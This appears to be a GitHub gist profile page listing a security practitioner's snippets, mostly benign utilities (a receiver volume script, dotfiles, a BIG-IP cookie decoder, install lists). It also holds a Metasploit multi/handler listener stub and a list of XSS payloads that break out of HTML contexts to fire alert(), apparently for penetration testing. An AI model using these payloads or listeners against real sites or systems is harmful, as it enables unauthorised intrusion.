Skip to content

Instantly share code, notes, and snippets.

View sodejm's full-sized avatar

Justin Soderberg sodejm

View GitHub Profile

Keybase proof

I hereby claim:

  • I am sodejm on github.
  • I am subv3rs1on (https://keybase.io/subv3rs1on) on keybase.
  • I have a public key whose fingerprint is F172 6E5C BD01 19D2 635E 62E4 C5BC 505E 52F6 AD9B

To claim this, I am signing this object:

use exploit/multi/handler
TODO:
add stage encoder stuff
exploit -j
#!/bin/sh
# Some things taken from here
# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
# Set the colours you can use
black='\033[0;30m'
white='\033[0;37m'
red='\033[0;31m'
green='\033[0;32m'
@sodejm
sodejm / bigip_decode.py
Created November 18, 2016 23:09
Simple decoder for the big ip info disclosure
#!/usr/bin/env python3
# decoder based on details from: https://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html
# Author: Justin Soderberg
import sys
if len(sys.argv) != 2 or sys.argv[1] == '-h' or sys.argv[1] == '--help':
print ('\nUsage: python %s <encoded address>\n' % (sys.argv[0]))
@sodejm
sodejm / DenonVol.py
Created November 25, 2016 21:36
Control Denon Receiver Volume with basic script
# requires python 3
# Author: Justin Soderberg
# tested with Denon AVR-X1200W
import sys
import requests
import argparse
# global value for the receivers ip address
@sodejm
sodejm / osx_brew_tools_install.sh
Created December 25, 2016 06:02
will keep this updated with the main tools i need for a clean osx install
brew install cloc ipcalc python3 mtr slurm rsync exiftool
@sodejm
sodejm / xsspayloads.txt
Created December 29, 2016 22:25
customize list of xss payloads, much of the credit should go to fuzzdb/rsnake/lcamptuf. some are my own but many are just added over time from around the web
"/><img src=x onerror=alert('sodejm')/>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascrip@Ωt://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
@sodejm
sodejm / Set Terminal Title
Created March 11, 2017 16:45
Set a custom terminal title
# Add to bashrc
# tested and working in Kali 2.0
# function to set terminal title
function set-title(){
if [[ -z "$ORIG" ]]; then
ORIG=$PS1
fi
TITLE="\[\e]2;$*\a\]"
PS1=${ORIG}${TITLE}
}
#!/bin/bash
#Justin Soderberg
# Will download IEEE oui database and format it to be used with dhcpd(posix) in splunk
#download file
wget standards.ieee.org/develop/regauth/oui/oui.txt
#extract and format new file
grep -i '(hex)' oui.txt >> mod_oui.txt
sed -i 's/-/:/g' mod_oui.txt
# Author: sodejm
# Add to bash_profile as a quick way to conver markdown notes to word doc
# requires pandoc to be installed
# use: md2doc file1.md
# this will output file1.doc
# Note: this does not handle docs with spaces in the filename well so feel free to modify that or just name things like file_1.md
function md2doc() {
echo "Converting a markdown file to docx"